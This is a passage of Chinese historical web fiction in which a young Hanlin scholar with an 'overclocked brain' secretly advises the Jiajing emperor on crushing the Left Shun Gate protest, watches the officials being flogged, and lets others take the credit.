桂萼心思更缜密阴狠一些,
他磕了个头,接口道:
“张侍郎所言极是!
此风绝不可长!
然则,臣以为,单单拿人问罪,
恐难以服众,反易授人以口实,谓陛下不能容人。
臣有一策:可先将为首者如杨慎、何鳌等即刻廷杖!
不必多,每人先杖三十…不,五十!
打掉他们的嚣张气焰,
让他们在天下人面前皮开肉绽,
看谁还敢效仿!
其余附从者,记录名册,
事后或贬谪或罢官,徐徐图之。
如此,既显天威,
又不至于立刻激起更大变故。”
廷杖,这是对士大夫身体和尊严的双重摧残,
阴毒更甚于直接下狱。
桂萼此计,是要**诛心。
席书年纪稍长,相对持重,
但此刻也知皇帝心意已决,不可能轻饶,便补充道:
“二位大人所言皆是。
陛下,当务之急是平息事态,驱散宫门人群。
臣建议,可派一内侍或勋贵,
持陛下口谕,严辞呵斥,责令其即刻散去。
若有不从者,再以抗旨论处,
锦衣卫便可名正言顺动手拿人。
事后,则需明发上谕,
痛斥其非,将今日之事定性为‘挟持君上,紊乱朝纲’,
如此,则**可掌控于陛下之手。”
这三人的建议,核心无非“**”二字,程度不同而已:
张璁主张狠杀,桂萼主张毒打加秋后算账,
席书主张先礼后兵并控制**。
听起来似乎有了层次,
但归根结底,仍是诉诸于暴力威慑和**清算,是硬碰硬的对抗策略。
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嘉靖帝听着,脸上的怒容稍缓,但眉头却依旧紧锁。
这些建议,符合他此刻愤怒的心境,
他也恨不得立刻让那些哭嚎的家伙尝尝锦衣卫诏狱的滋味。
但一丝残存的理智告诉他,事情没那么简单。
这些人不是寻常百姓,
是朝廷命官,其中不少是清流领袖、
科举正途出身,门生故旧遍布天下。
如此大规模地严厉**,
必然引发朝野巨大震动,
天下士林会如何看他这个皇帝?
史笔如铁,又会如何记载今日之事?
会不会反而将他们逼成舍生取义的“忠臣”,而自己落个“**”之名?
更重要的是,就算打散了、抓光了、甚至杀了一批,然后呢?
就能让天下人心服口服地接受“去本生”了吗?
就能彻底堵住悠悠众口了吗?
恐怕只会埋下更深的仇恨和更激烈的对抗种子。
这并非他想要的最终结果。
他不仅要赢,还要赢得“漂亮”,
赢得“有理”,要彻底从礼法、**和人心上压倒对方。
他要的不是一时压服,
而是长治久安地确立自己的绝对权威和礼法主张。
“廷杖…拿人…”嘉靖帝喃喃自语,
目光扫过跪在地上的三人,
眼神深处闪过一丝不易察觉的失望。
这些人,能帮他争斗,能替他冲锋,
却似乎无法提供那种能彻底从根本上解决问题、
并能将他置于道德制高点的“完美”方案。
他们缺乏一种能将暴力包装成“正义”,
将打压转化为“教化”的更深层次的智慧。
殿内的空气依旧凝重,
左顺门外的声浪隐约可闻。
皇帝陷入了短暂的沉默,
暴怒之后,是更深沉的权衡与焦躁。
他需要一把更锋利、更精准,既能见血又不沾腥的刀。
而此刻,那把“刀”,正在翰林院的窗边,
冷静地聆听着远处的风暴,
超频大脑中早已推演完毕的数套方案,正静待出鞘的时机。
皇帝的需求与现有新贵能力的落差,已然显现。
舞台,已经为真正的高手预留了出来。
第161章 惟瑾呈密疏,一语定乾坤
乾清宫内,空气凝固如铁。
嘉靖帝面沉如水,
手指无意识地敲击着御案,
发出沉闷的嗒嗒声,
每一声都敲在跪地的张璁、桂萼、席书心头,
也敲在殿外那震天的哭嚎节拍上。
他对这三人的献策,
不满之意已溢于言表。
**易,收拾人心难,
更要紧的是,如何能让朕在这场滔天风波中,
不仅胜了,还要胜得堂堂正正,
让天下士林无话可说?
张璁三人伏在地上,
额头沁出冷汗,能感受到皇帝的失望,
却搜肠刮肚也想不出更“高明”的主意。
就在这令人窒息的僵持时刻,
司礼监随堂太监、曾因苏惟瑾诗文而对其颇有几分好感的鲍忠,
小心翼翼地捧着一份密封的奏匣,碎步趋入殿内。
“万岁爷,”
鲍忠声音细弱,生怕触怒龙颜。
“翰林院修撰苏惟瑾,有密疏急呈。”
“苏惟瑾?”
嘉靖帝眉头一皱,
这个时候,一个区区从六品修撰上什么密疏?
但旋即想起此子日前经筵上的“别具会心”,
心中微微一动,那股莫名的期待感竟压过了烦躁。
“呈上来。”
黄锦连忙接过奏匣,检查无误后,恭敬地放到御案上。
嘉靖帝打开密封,抽出奏疏。
纸张是普通的翰林院用笺,
但上面的字迹却清劲挺拔,结构严谨,
一如奏疏主人平日的风格。
他快速浏览起来。
开篇第一句,便让皇帝紧绷的脸色稍缓:
“臣修撰苏惟瑾谨奏:
左顺门外,群臣聚哭,声撼宫阙。
此非谏诤,实为胁君;
非忠义,实乃悖逆!
陛下乃天下之主,乾坤独断,
臣子竟敢以众势相逼,
此风一开,国将不国!
臣虽微末,亦知君臣纲常乃天地至理,
于此等犯上之举,断不能容!”
看到这里,嘉靖帝忍不住微微颔首。
好!立场坚定,旗帜鲜明!
直接定性为“胁君”、“悖逆”,
比张璁他们“结党抗命”的说法更狠,
更彻底,完全站在了维护皇权的绝对制高点上。
接着,奏疏笔锋一转,
开始剖析本质,其视角之刁钻、用词之精准,
让嘉靖帝都不由得坐直了身子:
“然臣观此事,非止于数人狂悖。
其深层乃在于,部分文官结党成势,
自诩清流,手握**权柄,
渐生骄矜之心,竟欲以所谓‘公论’凌驾于圣意之上,
以集体之势**君权!
彼等今日可跪宫逼陛下顺从其礼法之见,
他日便可逼陛下顺从其军政之策!
此非谋逆,而胜似谋逆!
盖因其以道德文章为甲胄,
以士林清誉为刀兵,
毁陛下之威于无形,其害更烈!”
“文官集团”、“**君权”、
“以道德文章为甲胄”、“以士林清誉为刀兵”…
这些前所未闻却又一针见血的词语,
如同重锤,狠狠砸在嘉靖帝的心坎上!
将他心中那种模糊的被胁迫感、
被“大义”压制的不甘,
剖析得淋漓尽致!
原来如此!
原来他们玩的是这一套!
嘉靖帝呼吸微微急促起来,
目光灼灼,迫不及待地往下看。
“故,应对此事,非简单惩戒可根治。
需标本兼治,三管齐下,
方能彻底挫其锋芒,收震慑之效,
亦免陛下负滥刑之名。”
看到“免陛下负滥刑之名”一句,
嘉靖帝眼中精光一闪!
这正是他所虑!
“其一,擒贼擒王,霹雳手段显天威。
聚众之事,必有首恶煽惑串联。
此等人,往往并非官职最高者,
而是平日慷慨激昂、以直谏邀名、善于鼓动人心之辈。
陛下可令厂卫细查,今日何人最先呼喊奔走?
何人言辞最烈、姿态最亢?
何人门下官员**最多?
揪出此辈核心十数人,不必过多,严惩不贷!
或下诏狱重治,或廷杖立威,务求狠准,
让世人皆知,胁君之罪,绝无宽贷!
然切记,目标需精准,勿使牵连过广,反逼兔死狐悲。”
这条策略,既有清晰的行动方针(抓核心),
又有具体的方**(如何识别领头羊:看发起、看言行、看势力),
还考虑了副作用(避免扩大化),操作性极强。
“其二,分化瓦解,仁术收人心。
多数官员,或出于义愤,
或出于从众,或碍于情面,裹挟其中。
对此辈,廷杖震慑即可,令其皮肉受苦,
知陛下之怒不可犯。
然杖后,可视情节轻重,
多数人可予以宽宥,训诫后令其散去,暂不追究。
如此,既显天威浩荡,亦显陛下仁德,
更可离间其众,使彼知陛下洞悉善恶,非一概而论。
附从者心存侥幸,日后便不敢再轻易附逆。”
打一巴掌给个甜枣,精准区分打击对象,
最大化降低反抗的整体性。
这一手分化术,看得嘉靖帝暗自叫绝。
“其三,占据高地,理论正名定乾坤。
此尤为紧要!
彼等之所以嚣张,皆因自以为占据礼法大义。
陛下当立即敕命可信之臣,
速撰雄文,非徒斥其胁君之罪,
更须从经典深处驳斥其礼法观点之谬误!
需阐明:陛下尊崇本生,乃人伦至情,合天理,顺人情;
《春秋》大义,首在尊王,在权变,在务实社稷,非泥古不化之虚文!
文章须磅礴大气,引经据典,逻辑严密,
一经发出,便要使天下读书人哑口无言,
从根本上摧毁其抗争的理论基础!
如此,则陛下非仅以权胜,
更以理胜,堂
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堂正正,天下归心!”
最后这条,直指问题的核心
——**和理论的制高点!
不仅要把人打服,更要把道理讲透,
让对方输得无话可说!
这才是真正的釜底抽薪!
密疏最后总结:
“三策并行,则首恶伏诛,
胁从胆寒,**导向,
陛下不仅可安然度过此劫,
更可借此契机,重树至尊无上之权威,
使此后群臣知凛知惧,再无敢以众势挟持君父者!”
看完最后一句,嘉靖帝猛地一拍御案,震得笔架乱颤!
“好!好一个苏惟瑾!好一个三管齐下!”
他脸上的阴霾一扫而空,
取而代之的是一种豁然开朗的兴奋和激赏!
这份奏疏,简直就像是钻进了他的肚子里,
把他所有的焦虑、所有的渴望、
所有朦胧的想法,
用最清晰、最深刻、最具有操作性的语言表达了出来!
与之相比,张璁他们那套“抓人打板子”的建议,
简直粗鄙得如同村夫打架!
这才是真正的帝王术!
既有雷霆手段,又有菩萨心肠(哪怕是装的),
更兼具俯瞰全局的理论高度和战略眼光!
皇帝灼热的目光扫过地上依旧懵懂的张璁三人,心中已有了决断。
他深吸一口气,声音恢复了帝王的沉稳与威严,却带着不容置疑的决断:
“都起来吧。”
张璁、桂萼、席书如蒙大赦,忐忑起身。
“苏惟瑾所奏,深得朕心。”
嘉靖帝将那份密疏轻轻放下,手指点在上面。
“就按此议办。张璁、桂萼!”
“臣在!”
“朕命你二人,即刻根据苏修撰所言之要旨,
草拟一篇驳斥悖逆、阐明朕尊亲大义之雄文!
要快,要狠,要占尽道理!
写不好,朕唯你们是问!”
“臣等遵旨!”
张璁、桂萼虽不知密疏具体内容,
但见皇帝采纳,立刻大声应诺。
“黄锦!”
“奴婢在!”
“传朕口谕给骆安(锦衣卫指挥使),
令他派人给朕盯紧了左顺门外,
谁是叫得最响、窜得最欢的!
给朕把名单细细列来!
记住,要准!”
“是!万岁爷!”
一道道指令发出,
乾清宫内的混乱和焦躁瞬间被一种高效而冷酷的秩序所取代。
嘉靖帝重新坐回龙椅,
目光透过殿门,仿佛已看到左顺门外的风波平息,
看到天下士林在他组合拳下哑口无言。
他的嘴角,终于勾起一丝一切尽在掌握的冰冷笑容。
苏惟瑾…此子,真乃朕之张良、陈平也!
而此刻,献上奇策的苏修撰,
仍在翰林院中,仿佛对外界的惊天巨变一无所知,
安然落笔,批阅着眼前的书稿。
策略已投送,皇帝已采纳。
历史车轮,于此悄然偏转。
第162章 嘉靖拍案喜,此子真大才!
乾清宫内,方才那令人窒息的暴怒与焦躁,
如同被一道无形的清风拂过,
骤然沉淀下来。
嘉靖帝朱厚熜的目光再次扫过苏惟瑾那封密疏,
指尖在最后那句“使此后群臣知凛知惧,
再无敢以众势挟持君父者”上重重一点,
胸腔中一股难以言喻的畅快感油然而生。
“啪!”
他又一次拍在案上,这次却不是怒极,而是喜极!
“好!说得好!字字珠玑,句句中的!
此真老成谋国之言,深得朕心!”
他忍不住朗声赞叹,
脸上的阴鸷早已被一种发现璞玉的兴奋和一切尽在掌握的从容所取代。
这封密疏,简直是给他量身定做的平乱指南!
首先,那开篇强烈的情绪共鸣和支持,
让他积郁的怒火找到了宣泄的出口,
感觉终于有人是完全站在他这边,
理解他作为皇帝被臣子逼迫的**与愤怒。
这不是简单的附和,
而是一种深层次的共情,
让他觉得苏惟瑾是“自己人”。
更重要的是后面的策略。
与张璁、桂萼那套只知道喊打喊杀、
要么就是阴恻恻提议廷杖的粗浅主意相比,
苏惟瑾的方案简直是降维打击!
“擒贼擒王”,精准打击,避免扩大化——这正是他想要的!
既显威严,又不至于逼反整个官僚系统。
皇帝心中瞬间闪过几个平日里上蹿下跳最厉害的言官名字,眼神冰冷。
“分化瓦解”,打一巴掌给个甜枣
——妙啊!
如此一来,他朱厚熜就不是滥施暴虐的昏君,
而是明察秋毫、恩威并施的圣主!
挨了打的只能自认倒霉,
被宽恕的还得感恩戴德!
这手段,简直将帝王心术玩出了花!
最让他拍案叫绝的是“理论武器”这一条!
张璁他们就知道攻击政敌人品,
骂对方是“腐儒”、“奸佞”,
却始终无法在核心的礼法争论上给出能彻底压倒对方的体系性论述。
而苏惟瑾直接指出了问题的七寸
——必须从理论根基上摧毁对方!
不仅要让他们肉体屈服,
更要让他们精神上崩溃,
让天下人觉得他们输得理所当然!
“合天理,顺人情”、“《春秋》大义,
首在尊王,在权变,在务实社稷”!
这几个词,如同黑夜中的明灯,
瞬间照亮了他一直模糊感受到却无法清晰表达的核心论点!
是啊,朕尊亲生父亲,
怎么就不合天理了?
怎么就不顺人情了?
你们死抱着故纸堆,
才是真正的泥古不化,罔顾人伦!
这一刻,嘉靖帝只觉得豁然开朗,
之前所有的憋闷和纠结一扫而空。
苏惟瑾不仅给了他刀,
还给了他用刀的完美理由和技巧,
更给了他事后擦干净刀上血迹、
甚至能让刀看起来更加光鲜亮丽的方法!
此子之才,岂止是状元之才?
简直是王佐之才!国士之才!
他再次看向跪在地上的张璁、桂萼、席书三人,眼神已然不同。
这几位,冲锋陷阵、摇旗呐喊可以,
但论及真正的庙堂算计、长远布局,
比起苏惟瑾那羚羊挂角、
无迹可寻却又精准致命的策略,
简直如同蒙童对比硕儒!
“聪敏绝顶!识大体,知进退!
有谋略,更有忠心!”
嘉靖帝在心中迅速给苏惟瑾下了断语。
尤其是“忠心”,
在他看来,苏惟瑾所有策略的出发点,
都是毫无保留地维护皇权,
巩固他的权威,这比什么都重要!
决心已定,不再犹豫。
“尔等且听仔细!”
嘉靖帝声音沉静,
却带着不容置疑的决断力。
“左顺门之事,朕已有圣裁。”
张璁三人立刻竖起耳朵,
心知皇帝必是采纳了那苏惟瑾的密疏内容。
“其一,锦衣卫即刻派人,
给朕盯紧了!将其中咆哮宫阙、煽动串联、
行为最猖獗者,给朕一一记录在案!
待事稍缓,给朕严加议处!
首要者,绝不姑息!”
——这是“擒贼擒王”。
“其二,传朕口谕,令鸿胪寺官及大汉将军前往左顺门宣谕:
尔等聚众胁君,已犯大不敬之罪!
朕念尔等多是受人蛊惑,
一时糊涂,法外开恩!
凡此刻即刻散去者,
朕可酌情从轻发落!
若再冥顽不灵,休怪朕以廷杖之刑,严惩不贷!”
——
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这是“分化瓦解”的先声。
“其三,张璁、桂萼!”
嘉靖帝目光锐利地看向二人。
“朕给你们一夜时间!
就以…嗯,就以‘尊亲乃天理人情之至,
《春秋》大义在于权变尊王’为核心,
给朕写一篇堂堂正正、驳斥谬论、
阐明朕意的雄文出来!
要引经据典,要逻辑严密,
要让天下读书人看了,都觉彼等无理取闹!
写不出来,或是写得不好,朕唯你们是问!”
——这是“理论武器”。
他将苏惟瑾的策略稍加调整,
以自己的名义发出,显得更加乾纲独断。
“臣等遵旨!定不负陛下所托!”
张璁、桂萼虽然心里有点嘀咕一夜之间写出雄文的压力,
但见皇帝终于有了明确指示,
且方向清晰,立刻大声领命,
心中也对那素未谋面的苏惟瑾,
生出了几分好奇与莫名的忌惮。
一道道指令迅速而高效地发出。
嘉靖帝感觉前所未有的舒畅,
俨然是一个原本混乱的棋局,
突然被一子落定,全局皆活。
他重新坐回龙椅,
目光再次落到那封密疏上,
手指轻轻敲着苏惟瑾的名字。
“苏惟瑾…苏玉衡…年仅十七…”
他低声自语,眼中闪烁着复杂的光芒。
“寒门出身,竟有如此见识手腕…
难得,实在难得!
看来这大明官场,
终究还是能出几个真正的人才。”
在他心中,苏惟瑾的地位急速飙升,
从一个有才华、值得欣赏的状元,
一跃成为了一个“聪敏、识大体、
有谋略、忠心可用”的潜在心腹股肱之选!
这份密疏,展现出的不仅是急智,
更是深远的**眼光和解决问题的超凡能力!
计划成功大半。
风暴仍在左顺门外呼啸,
但风暴眼的中心,皇帝已然安心。
而这一切的幕后策划者,此
刻在他心中的分量,已重若千钧。
超频大脑的又一次精准投放,
不仅化解了危机,
更在帝国最高统治者心中,
刻下了一个无比深刻且优异的烙印。
通往权力核心的道路,
已在苏惟瑾脚下铺开了一大段。
第163章 廷杖血雨飞,惟瑾冷旁观
嘉靖二年的这个夏日午后,
左顺门前的汉白玉广场,
成了大明王朝**风暴的中心,
更成了一片血色淋漓的刑场。
皇帝“先散朝,后惩戒”的口谕,
经由鸿胪寺官员用尽力气喊出,
如似在沸腾的油锅里泼进了一瓢冷水。
一部分官员在恐惧和犹豫中,
看着周围虎视眈眈的锦衣卫和大汉将军,
终究是胆气溃散,低着头,
面色惨白地踉跄退去。
但仍有一批以杨慎、何鳌为首的硬骨头,
或是激于义愤,或是骑虎难下,
或是抱定了舍生取义的决心,
依旧长跪不起,哭声反而更加悲壮决绝。
这就怪不得皇帝心狠了。
早就奉命在一旁“观政学习”的新科进士们,
包括苏惟瑾、徐阶、林文霈等翰林官,
被要求留在现场,美其名曰“观政体,知敬畏”。
实则,这就是一场杀鸡儆猴的**秀,
要让这些未来的官僚种子亲眼看看对抗皇权的下场。
“奉旨!廷杖胁君悖逆之臣!”
司礼监太监尖利的嗓音划破喧嚣,
带着一股冰冷的杀气。
如狼似虎的锦衣卫校尉立刻扑上,
两人一组,精准地架起那些被重点圈出的“首恶”。
杨慎首当其冲,他被粗暴地拖离人群,
官袍被撕裂,脸上却毫无惧色,反而嘶声力竭:
“士可杀不可辱!陛下!
臣等一片忠心……”
话未说完,嘴已被破布塞住。
厚重的刑凳被抬了上来,
水火棍(实心的重棍)握在了行刑锦衣卫的手中。
这些锦衣卫皆是精挑细选的力量型壮汉,
面无表情,眼神冷漠,
仿佛即将进行的不是殴打活人,
而是在捶打一堆没有生命的麻袋。
“行刑!”
命令一下,沉闷恐怖的击打声瞬间取代了哭嚎和呐喊!
“啪!”“啪!”“啪!”
沉重的棍棒带着风声,
狠狠砸在受刑官员的臀腿之上。
声音沉闷而结实,听得人牙酸心悸。
第一棍下去,厚重的官服便应声破裂。
第二棍、第三棍…皮开肉绽,
鲜血迅速洇出,染红了破碎的衣料,
滴滴答答落在洁净的白玉地砖上,触目惊心。
“呃啊——!”
即使是被塞住嘴,
剧烈的疼痛仍让受刑者发出压抑不住的惨嚎,
身体不受控制地剧烈抽搐,冷汗瞬间浸透全身。
空气中迅速弥漫开一股浓重的血腥味,
混合着夏日的燥热,令人作呕。
围观的新科进士们哪里见过这等惨烈场面,
无不面色惨白,浑身发颤。
有人不忍目睹,别过头去,
牙齿咯咯作响。
有人双腿发软,几乎站立不住,全靠同僚搀扶。
林文霈紧握双拳,指甲掐进掌心,
眼中满是悲愤却又无能为力的痛苦。
徐阶面色凝重如铁,嘴唇紧抿,
目光低垂,却能看出他下颌线条绷得极紧,显然内心也极不平静。
然而,在这群几乎崩溃的年轻官员中,有一人却显得格格不入。
苏惟瑾。
他也穿着那身青色的翰林官袍,
静静地站在人群稍靠后的位置。
他的脸上,带着一种恰到好处的凝重,
眉头微蹙,符合此刻应有的庄重氛围,
既没有表现出过度的恐惧,
也没有流露出丝毫的同情或愤慨。
但他的眼神,却冷静得可怕。
超频大脑在此刻全力运转,
如同一个高效而无情的信息处理终端:
视觉模块放大,清晰地记录下每一个被行刑者的面容、
表情、受刑时的反应强度
——嗯,杨慎,硬气,
但眼神深处有恐惧,可用的突破口;
何鳌,看似强硬,但第三棍时已昏厥,外强中干;
那位赵御史,嚎哭求饶,意志薄弱,或可威逼利诱…
听觉模块捕捉着周遭的一切声音:
廷杖的闷响、受刑者的惨哼、围观者的抽气、
甚至远处宫墙上侍卫细微的呼吸变化…
嗅觉模块分析着空气成分:
血腥浓度、不同人汗液的紧张激素分泌差异…
更重要的是,他的目光化身精准的扫描仪,
飞快地扫过身旁每一位“观政”的同僚:
王编修脸色惨白,呕吐了,
此人心软,或可利用其同情心,
但不堪大用。
李检讨眼神闪烁,不敢直视,
却偷偷数着杖数,此人心思缜密,
但趋利避害,需防范。
徐阶…嗯,表面平静,
但耳后血管微微凸起,
他在极力克制,此人有定力,
有原则,是潜在对手或可敬盟友。
林文霈…愤怒几乎溢出,
情
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绪化,易煽动,也易被利用。
他甚至能感觉到,
在远处某座宫殿的阴影后,
或许有一双属于最高统治者的眼睛,
正冰冷地注视着这一切,
包括他们这些旁观者的反应。
因此,他维持着那副沉稳凝重的表情,
身形挺拔,既不退缩,
也不前进,犹如一尊沉默的礁石,
任由血浪在周围翻涌,我自岿然不动。
这份超越年龄的冷静,
在这种极端惨烈的场景衬托下,
显得格外突兀,也格外引人注目。
果然,乾清宫的高处,
嘉靖帝凭栏远眺,虽然看不清具体面孔,
但大致能分辨出那群年轻翰林的方位。
他特意留意了那个献上奇策的苏惟瑾所在。
只见那青袍身影在一片慌乱瑟缩中,
显得尤为镇定,身形稳如松柏。
“遇此大变,面无惧色,沉静如水…”
嘉靖帝微微颔首,眼中闪过一丝赞赏。
“此子非但有奇谋,
心性竟也如此沉稳干练!
确是做大事的材料,
比那些只会夸夸其谈或瑟瑟发抖的强出百倍!”
**的是,苏惟瑾的冷静,
并非源于胆识,而是源于一种绝对的理智和超然的分析视角。
在他眼中,这并非血腥的刑罚,
而是一场复杂的**动力学演示,
每一个惨叫、
每一滴鲜血、
每一个表情,
都是可供分析的数据点。
廷杖还在继续,惨叫声声,血流满地。
苏惟瑾的目光掠过那些痛苦扭曲的面孔,
心中无波无澜,只是默默更新着未来的人际关系应对策略库:
哪些人可以尝试拉拢,
哪些人需要警惕,
哪些人的把柄或许已经在这场杖刑中暴露…
左顺门的血,染红了嘉靖初年的**底色。
而苏惟瑾,则在这片血色中,
冷静地绘制着属于自己的权力地图。
他的超频大脑,强如最精密的仪器,
记录着仇恨、恐惧、忠诚与背叛的每一丝脉动,
为未来的每一步,积累着冰冷的数据。
这场杀鸡儆猴的大戏,
对于其他猴子来说是震慑,
对于他而言,则是一场极其宝贵的信息盛宴。
皇帝看到的“沉稳干练”,
不过是这台人形计算机高效运行时的外在表现罢了。
第164章 张璁忙抢功,惟瑾笑深藏
左顺门的血迹尚未完全冲刷干净,
空气中似乎还隐约残留着一丝铁锈般的腥气。
廷杖的余威震慑了整个京城官场,
但表面的肃杀之下,暗流依旧涌动。
对于这场突如其来的风暴
及其迅速而“精准”的平息,
各方势力都在暗自揣测、复盘。
很快,一种“说法”开始在官员们私下交流中流传开来:
之所以只严惩了杨慎、何鳌等少数核心人物,
而对大多数附从者网开一面,
并且迅速推出了那篇驳斥有力、
占据礼法高点的雄文,
全是张璁、桂萼等议礼新贵“深谋远虑”、“从容献策”的结果。
“秉用兄(张璁字)真乃干才!
此番手段,刚柔并济,既显天威,
又免树敌过多,更从道理上压服了对方,
实乃老成谋国之举啊!”
某位急于巴结新贵的官员,
在衙门廨舍里对着张璁拱手称赞。
张璁抚着刚刚蓄起不久的短须,
脸上难掩得色,却故作矜持地摆摆手:
“诶,王兄过誉了。
为国分忧,为陛下解困,乃臣子本分。
只是有些人一味蛮干,不知变通,
终究难成大事。”
言语之间,已将献策之功理所当然地揽于自身,
甚至隐隐贬低了那些只会喊打喊杀的“粗人”。
桂萼在另一场合,也是面带矜骄,
对围拢过来的几名官员道:
“陛下圣明,采纳忠言。
吾等不过是据理力争,
将其中利害、操作细处为陛下剖析明白罢了。
如今看来,效果尚可。”
他将“效果尚可”说得轻描淡写,
仿似一切尽在掌握。
就连席书,也在与人交谈时,
不自觉地将自己归入了“献策核心圈”,
言语间多了几分指点江山的意味。
这些言论,或多或少,
或直接或间接地传到了翰林院。
一些与苏惟瑾相熟的年轻翰林,
如徐阶、林文霈等人,难免为之不忿。
“哼,贪天之功以为己有!”
林文霈性格外露,
在值房内便忍不住冷哼。
“若非玉衡你…”
他话说到一半,瞥见周围还有其他同僚,
硬生生止住,但脸上的鄙夷之色丝毫不减。
徐阶则更为沉稳,
他只是若有所思地看了苏惟瑾一眼,低声道:
“木秀于林,风必摧之。
如今这般,未必是坏事。”
他隐约觉得,以苏惟瑾之智,
不可能想不到张璁等人会抢功,
但其反应如此平静,必有深意。
苏惟瑾正在校对一份誊录的文书,
闻言抬起头,脸上露出一丝恰到好处的惊讶,
随即化为坦然甚至略带钦佩的笑容:
“慎行兄(林文霈字)言重了。
张学士、桂学士诸位前辈,
老成谋国,经验丰富,
能提出如此周全之策,
实乃朝廷之福。
陛下采纳其言,迅速平息事端,
正是人尽其才,物尽其用。
我等后学晚辈,正当学习揣摩,
岂敢有半分不满?”
他这番话声音不高不低,
恰好能让值房内其他几位竖着耳朵听的同僚听到。
语气真诚,态度谦逊,
完全是一副心悦诚服、
虚心学习的模样。
林文霈被噎了一下,瞪大了眼睛,
似乎不明白苏惟瑾为何如此“懦弱”。
徐阶眼中则闪过一丝了然,
不再多言。
苏惟瑾低下头,继续校对文书,
嘴角勾起一丝只有自己才懂的冰冷弧度。
抢功?抢得好!
他巴不得张璁、桂萼把这“功劳”全揽过去!
微微一笑,冷静地分析着利弊:
利:
1.转移仇恨:
清流集团的怒火和怨恨将绝大部分集中在张璁、
桂萼这些冲在前台的“奸佞”身上。
他苏惟瑾,一个“微不足道”的新科状元,
可以最大程度地隐藏于幕后,
避免成为众矢之的。
2.麻痹对手:
张、桂等人志得意满,
只会将他视为略有才学、
懂得趋炎附势的晚辈,
而不会将其视为潜在的竞争对手,
有利于他暗中发展。
3.巩固圣眷:
真正的决策者嘉靖帝心知肚明是谁献的策。
张璁等人跳得越欢,抢功越狠,
在皇帝眼中就越是肤浅可笑,
反而会越发衬托出他苏惟瑾的“识大体、不居功、忠心可嘉”。
这份实实在在的信任,
比什么虚名都重要。
弊:
1.(几乎为零)
用一点微不足道的“虚名”,
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换取如此多的实际利益,
这笔买卖,简直太划算了!
至于那点名声?
呵,自己大脑里储存着中华上下五千年的智慧,
他岂会不知“韬光养晦”、“闷声发大财”的道理?
在权力场中,活到最后、笑到最后的,
从来不是跳得最欢的,
而是藏得最深、算得最准的。
果然,下午在翰林院廊下偶遇张璁。
张璁如今春风得意,
见到苏惟瑾,倒是难得地和颜悦色,
或许是因为觉得此子“懂事”,
又或许是想显示自己提携后辈的气度。
“玉衡啊,近日衙门事务可还顺手?”
张璁端着架子问道。
苏惟瑾立刻停下脚步,
躬身行礼,态度恭敬无比:
“劳张学士动问,晚辈一切安好。
日前左顺门之事,
晚辈听闻学士运筹帷幄,
举措精准得力,深得圣心,
一举安定朝局,实令晚辈敬佩万分,
受益匪浅!”
他这番话说的诚恳无比,
眼神清澈,充满了对前辈的仰慕。
张璁听得身心舒畅,
如同三伏天喝了冰镇酸梅汤,
每一个毛孔都透着惬意。
他哈哈一笑,
拍了拍苏惟瑾的肩膀(以示亲近):
“年轻人知道上进就好!
好好当差,日后自有前程。”
“是,谨遵学士教诲。”
苏惟瑾再次躬身,
直到张璁志得意满地走远,
他才缓缓直起身。
抬起头,脸上那谦逊恭敬的笑容早已消失不见,
取而代之的是一片深沉的平静,
眼底深处,则掠过一丝极淡的、
近乎怜悯的嘲讽。
抢吧,尽情地抢吧。
你们在前面吸引火力,承受明枪暗箭。
而我,只需安静地躲在你们的阴影里,
不断积累着真正的资本
——皇帝的信任、洞悉局势的眼光、
以及无人察觉的暗中布局。
待到你们的价值被榨干,
或者你们自己作死到皇帝都无法容忍之时…
苏惟瑾转身,走向藏书库的方向,背影挺拔而从容。
那时,才是我真正走上台前的时候。
现在的隐忍,是为了将来更高的腾飞。
这份深藏的智慧与定力,
远比张璁那点浅薄的得意,要可怕得多。
第165章 事件终平息,圣心已默许
左顺门事件的余波,
如同一场暴雨后的积水,
虽未完全干涸,
却也不再能掀起巨浪。
在嘉靖帝毫不留情的铁腕打击和后续一系列组合拳下,
持续数日的朝堂风暴终于渐渐平息。
最终的处置结果迅速明发天下:
首恶杨慎、何鳌等十数人,
或廷杖伤重不治,或削籍为民,
流放边陲,永不叙用。
其余参与跪谏的官员,
根据“情节轻重”,或降级外调,
或罚俸思过,或申饬警告。
曾经声势浩大的清流集团,
经此一役,骨干折损大半,元气大伤,
短时间内再难形成有组织的对抗力量。
而与之相对的,是议礼新贵们的风光无限。
张璁因“赞襄机务,献策有功”,
加封太子太傅(荣誉虚衔),
赏赐金银绸缎无数,
俨然成为朝中新崛起的巨头,
门庭若市,巴结者络绎不绝。
他志得意满,行走间虎虎生风,
与人言谈时,语气也不自觉地带上了几分不容置疑的权威,
仿佛那平息风波、撰写雄文的功劳,
全然系于他一人之身。
桂萼、席书等人也各有封赏,
官阶提升,圣眷正浓。
他们沉浸在胜利的喜悦和权力陡增的眩晕中,
享受着众人的追捧,
却选择性忽略了背后那若有若无的、
来自旧有清流残余势力的冰冷目光。
然而,在这场**行赏的大戏中,
有一个人却显得格外“低调”。
新科状元、翰林院修撰苏惟瑾,
并未出现在加官进爵的明发谕旨上。
表面看来,他依旧是那个按部就班点卯、
埋首故纸堆的年轻词臣,
宛如左顺门的风暴与他毫无干系。
但真正敏锐的人,却能察觉到不同寻常之处。
首先是嘉靖帝的态度。
事件平息后不过三五日,
便有内侍至翰林院传口谕:
“陛下召苏修撰乾清宫问话。”
这并非经筵日讲那种公开场合,
而是单独的、非正式的召见。
苏惟瑾奉召而至。
乾清宫内,嘉靖帝并未像往常那样伏案批红,
而是悠闲地坐在窗边的榻上,
手边放着一盏清茶,气氛似乎很随意。
“苏卿来了,平身吧。”
嘉靖帝语气平和,
甚至带着一丝难以察觉的温和。
“近日衙门事务可还繁忙?
《武宗实录》的纂修,进度如何?”
苏惟瑾恭敬应答,言辞简练,条理清晰,
既汇报了公务,又不失臣子本分。
嘉靖帝似乎很满意他的沉稳,
又问了些经史典故、地方民情,
甚至闲聊般问起他家乡的风物。
苏惟瑾皆能从容应对,
引经据典时恰到好处,
谈及实务时又颇有见地,
既不卖弄,也不藏拙。
超频大脑在平静的外表下飞速运转,
精准分析着皇帝的每一个表情、
每一个语气停顿背后的含义。
他能感觉到,皇帝并非真的关心那些琐事,
而是在享受这种“私下咨询”的过程,
是在验证和欣赏他这颗“大脑”的价值。
临结束时,嘉靖帝似是随口道:
“朕看你气色不错,
年轻人正是为国效力之时。
黄锦,将新进的那套文房四宝,
并那两匹苏缎,赏给苏修撰。”
赏赐不算特别厚重,
但关键是这份“随口”的体贴和频繁召见本身所传递的信号
——这是一种超越常规官僚体系的、
带有个人色彩的信任和青睐。
此后数日,类似的情景又上演了一两次。
有时是咨询政务,
有时只是单纯召见,
